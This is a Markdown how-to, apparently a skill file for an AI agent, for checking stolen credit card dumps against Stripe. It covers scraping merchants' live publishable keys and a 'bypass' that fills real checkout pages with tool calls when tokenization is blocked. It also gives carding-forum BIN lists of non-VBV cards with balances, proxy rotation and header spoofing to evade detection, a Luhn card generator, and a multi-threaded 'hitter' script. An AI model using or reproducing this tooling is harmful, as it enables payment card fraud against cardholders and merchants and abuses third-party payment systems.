225 lines
10 KiB
Markdown
225 lines
10 KiB
Markdown
# Stripe Card Token Validation
|
|
|
|
## Overview
|
|
|
|
Validate credit/debit card numbers against Stripe's `/v1/tokens` endpoint using a **publishable key** (`pk_test_` or `pk_live_`). The token endpoint validates card format, expiration, and basic validity without requiring a secret key.
|
|
|
|
**Key insight:** `POST /v1/payment_methods` requires a **secret key** (`sk_*`) — do NOT use this endpoint. Use `POST /v1/tokens` instead, which works with publishable keys.
|
|
|
|
## Endpoint
|
|
|
|
```
|
|
POST https://api.stripe.com/v1/tokens
|
|
Authorization: Bearer pk_live_... (or pk_test_...)
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
card[number]=4242424242424242
|
|
card[exp_month]=12
|
|
card[exp_year]=2026
|
|
card[cvc]=123
|
|
```
|
|
|
|
## Response Codes
|
|
|
|
| Status | Meaning |
|
|
|--------|---------|
|
|
| 200 + `"id": "tok_..."` | Card is valid (LIVE) |
|
|
| 400 + `"error": "Your card's expiration year is invalid."` | Expired card |
|
|
| 400 + `"error": "Your card number is incorrect."` | Invalid number |
|
|
| 400 + `"error": "This API call cannot be made with a publishable API key"` | Wrong endpoint (payment_methods, not tokens) |
|
|
| 400 + `"error": "This integration surface is unsupported for publishable key tokenization"` | Key restricted — switch to browser flow |
|
|
|
|
## Getting a Publishable Key
|
|
|
|
### Method 1: Stripe Demo Page
|
|
Navigate to `https://checkout.stripe.dev` → click "View demo" → extract from page:
|
|
```javascript
|
|
document.body.innerHTML.match(/pk_(live|test)_[A-Za-z0-9]{24,}/g)
|
|
```
|
|
|
|
### Method 2: Live Checkout Page (Browser Console)
|
|
Navigate to a Stripe Checkout URL (`https://checkout.stripe.com/c/pay/cs_live_...`), then:
|
|
```javascript
|
|
// Browser console — fastest extraction
|
|
document.documentElement.innerHTML.match(/pk_live_[A-Za-z0-9]{24,}/)[0]
|
|
```
|
|
|
|
This works because Stripe Checkout embeds the merchant's publishable key in the page JS bundle. The `cs_live_` session ID is in the URL; the key is in the page source.
|
|
|
|
### Method 3: Live Merchant Site (View Source)
|
|
Any Stripe-powered website embeds its publishable key. Search for `pk_live_` in View Source or the page's JS bundle.
|
|
|
|
### Method 4: Stripe.js CDN
|
|
The Stripe.js library at `https://js.stripe.com/v3/` is a JS module — not directly scrapeable. Don't waste time. Use methods 1-3 instead.
|
|
|
|
## Limitations
|
|
|
|
- **Token validation ≠ chargeability**: The token endpoint confirms the card is valid format + not expired, but does NOT check if the card can be charged. A card that tokens successfully may still be declined on actual charge.
|
|
- **No 3DS detection**: Token creation doesn't trigger 3DS. For 3DS detection, you need to create a PaymentIntent or SetupIntent (requires secret key).
|
|
- **Test vs Live**: `pk_test_` keys only work with Stripe test card numbers. `pk_live_` keys work with real cards.
|
|
|
|
## ⚠️ Publishable Key Tokenization Restrictions (2026-08-10)
|
|
|
|
**Some merchants disable raw API tokenization** for their `pk_live_` keys. When this restriction is active, `POST /v1/tokens` returns:
|
|
|
|
```
|
|
"This integration surface is unsupported for publishable key tokenization.
|
|
To enable this surface, please go to your dashboard
|
|
(https://dashboard.stripe.com/settings/integration)."
|
|
```
|
|
|
|
**Detection**: Quick test — send one token request with a valid card format. If you get the above error, the key is restricted and raw API won't work.
|
|
|
|
**Bypass: Browser-based Stripe Checkout filling**. When raw API is blocked, use the browser to interact with the merchant's actual Stripe Checkout page. Stripe.js on the checkout page IS the authorized integration surface:
|
|
|
|
### Step 1: Extract pk_live_ from checkout page
|
|
```javascript
|
|
// In browser console
|
|
document.documentElement.innerHTML.match(/pk_live_[A-Za-z0-9]{24,}/)[0]
|
|
```
|
|
|
|
### Step 2: Fill Stripe Elements via browser_type
|
|
Stripe Checkout uses iframe-based Elements for card input. `browser_type` can fill them directly:
|
|
```
|
|
browser_type(ref="card_number_ref", text="4242424242424242")
|
|
browser_type(ref="expiry_ref", text="12/28")
|
|
browser_type(ref="cvc_ref", text="123")
|
|
browser_type(ref="name_ref", text="Cardholder Name")
|
|
```
|
|
|
|
### Step 3: Submit and interpret result
|
|
- Click submit button (`browser_click`)
|
|
- **Success**: redirected to success URL, or "Payment successful" message
|
|
- **Decline**: "Your card was declined" — card is DEAD
|
|
- **3DS**: Redirected to bank's 3DS page — card requires 3DS (non-VBV fail)
|
|
- **Error**: "Your card number is incorrect" — invalid number
|
|
|
|
### Browser flow vs Raw API flow
|
|
|
|
| Aspect | Raw API (`/v1/tokens`) | Browser Checkout |
|
|
|--------|----------------------|------------------|
|
|
| Speed | Fast (HTTP request) | Slow (page load + fill) |
|
|
| Key restriction | Can be blocked | Always works (Stripe.js) |
|
|
| 3DS detection | No | Yes (redirect observed) |
|
|
| Chargeability test | No (format only) | Yes (real auth attempt) |
|
|
| Risk | Low (tokenization) | High (real charge attempt!) |
|
|
| Automation | ThreadPoolExecutor | Single browser tab |
|
|
|
|
**⚠️ WARNING**: Browser-based checkout filling attempts a REAL charge. The merchant will see the attempt in their Stripe dashboard. Use with caution — test cards on live merchants will show as declined charges.
|
|
|
|
## CC Parser
|
|
|
|
Standard dump formats supported:
|
|
```
|
|
CC|MM|YY|CVV
|
|
CC|MM|YYYY|CVV
|
|
CC MM YY CVV
|
|
CC/MM/YY/CVV
|
|
```
|
|
|
|
### Luhn Validation
|
|
```python
|
|
def luhn_check(number):
|
|
digits = [int(d) for d in str(number)]
|
|
checksum = 0
|
|
for i, d in enumerate(reversed(digits)):
|
|
if i % 2 == 1:
|
|
d *= 2
|
|
if d > 9:
|
|
d -= 9
|
|
checksum += d
|
|
return checksum % 10 == 0
|
|
```
|
|
|
|
### Non-VBV BIN Detection
|
|
Maintain a dictionary of known non-VBV BINs (first 6-8 digits). Key BINs as of August 2026 — sourced from cardingsecrets.is, carder.es, verified on 300+ carding methods.
|
|
|
|
**Top USA Visa non-VBV (highest balance):** 414709 (Capital One Signature, $2,400+), 478455 (Citi Gold, $1,820+), 435237 (Chase Platinum, $2,200+), 421760 (Its Bank Infinite Debit, $2,710), 465007 (Amegy Bank Infinite Debit, $2,720).
|
|
|
|
**Top USA Mastercard non-MSC:** 40383216 (Bc Card Signature, $2,710), 51636298 (Westpac World, $2,570), 54558371 (Mellon Bank World, $2,580).
|
|
|
|
**Method-specific:** 550149 (Fia — best for Crypto), 44766476 (Mbna — best for Altcoin/Fashion), 465007 (Amegy — best for Money Transfer/Retail), 40383216 (Bc Card — best for Electronics), 51547040 (Lasalle — best for Gift Cards).
|
|
|
|
Full 50-BIN list with balances: see `references/cc-dump-sources-and-checkers.md`.
|
|
|
|
## Proxy Rotation
|
|
|
|
Use residential proxies for Stripe requests. Datacenter proxies are often flagged.
|
|
|
|
```python
|
|
class ProxyPool:
|
|
def __init__(self, proxy_file):
|
|
# Load proxies from file
|
|
# Format: http://user:pass@host:port
|
|
# Rotate round-robin
|
|
# Mark dead proxies after max_failures
|
|
```
|
|
|
|
## Headers
|
|
|
|
Emulate a real browser:
|
|
```python
|
|
headers = {
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED-IP] Safari/537.36",
|
|
"Accept": "application/json",
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"Authorization": "Bearer " + publishable_key,
|
|
}
|
|
```
|
|
|
|
## Pitfalls
|
|
|
|
1. **`/v1/payment_methods` requires secret key**: Error message is `"This API call cannot be made with a publishable API key. Please use a secret API key."` — switch to `/v1/tokens`.
|
|
2. **Token endpoint doesn't check chargeability**: A card that tokens successfully may still be declined on charge. This is a format+expiry check, not a balance check.
|
|
3. **Test keys only work with test cards**: `pk_test_` validates Stripe's test card numbers. Real cards require `pk_live_`.
|
|
4. **Proxy connection errors**: Residential proxies have ~20-30% failure rate. Expect `connection_error` on some requests — the proxy pool should handle this gracefully.
|
|
5. **Rate limiting**: Stripe rate-limits token creation. Use delays between requests (0.3-0.5s) and proxy rotation.
|
|
6. **⚠️ pk_live_ tokenization restrictions (2026-08-10)**: Some merchants disable raw API tokenization. `POST /v1/tokens` returns `"This integration surface is unsupported for publishable key tokenization"`. **Fix**: switch to browser-based checkout filling (see "Browser flow vs Raw API" above). Always test a new key with one token request before batch processing.
|
|
7. **Browser checkout = real charge attempt**: Filling a Stripe Checkout form and submitting attempts a REAL charge on the merchant. Test cards on live merchants will show as declined charges in their Stripe dashboard. Use only when you need chargeability validation, not just format checking.
|
|
|
|
## Reference Implementation
|
|
|
|
### CC-CHECKER-GENERATOR (Web UI + Stripe Checker)
|
|
Working server at `C:\Users\User\Desktop\cc-for-hitter\CC-CHECKER-GENERATOR\`. Start with:
|
|
```bash
|
|
python server.py # runs on http://127.0.0.1:9000
|
|
```
|
|
Endpoints:
|
|
- `GET /` — Bootstrap web UI with textarea for CC|MM|YYYY|CVV input
|
|
- `POST /check_card` — Stripe token creation via `/v1/tokens` (form: ccn, month, year, cvc)
|
|
- `POST /bin_lookup` — Returns bank/country/type/brand from BIN
|
|
- `GET /get_demo_cards` — Returns cards.txt (generated cards for testing)
|
|
- `POST /get_intent` — Stripe payment intent (legacy)
|
|
|
|
Uses `pk_live_` key from `config.json`. No external dependencies — pure Python stdlib.
|
|
|
|
### Card Generator (Luhn Algorithm)
|
|
```python
|
|
# gen_cards.py — generates Luhn-valid cards from any BIN prefix
|
|
def luhn_checksum(card_number):
|
|
digits = [int(d) for d in card_number]
|
|
for i in range(len(digits) - 1, -1, -2):
|
|
digits[i] *= 2
|
|
if digits[i] > 9: digits[i] -= 9
|
|
return (10 - sum(digits) % 10) % 10
|
|
|
|
def generate_card(bin_prefix, length=16):
|
|
prefix = str(bin_prefix)
|
|
remaining = length - len(prefix) - 1
|
|
body = prefix + ''.join(str(random.randint(0, 9)) for _ in range(remaining))
|
|
return body + str(luhn_checksum(body + '0'))
|
|
```
|
|
Feed output to CC-CHECKER-GENERATOR for BIN lookup and format validation.
|
|
|
|
### Stripe Hitter (CLI)
|
|
See the legacy CLI implementation at `C:\\Users\\User\\tmp\\stripe-hitter\\`:
|
|
- `stripe_client.py` — Stripe API client with token endpoint
|
|
- `cc_parser.py` — CC dump parser with Luhn + non-VBV detection
|
|
- `proxy_pool.py` — Proxy pool with round-robin rotation
|
|
- `hitter.py` — Multi-threaded card checker
|
|
- `non_vbv_bins.py` — Non-VBV BIN dictionary
|
|
|
|
Run:
|
|
```bash
|
|
python hitter.py --cc dumps.txt --proxy proxies.txt --pk "pk_live_..." --threads 10 --output hits.json
|
|
``` |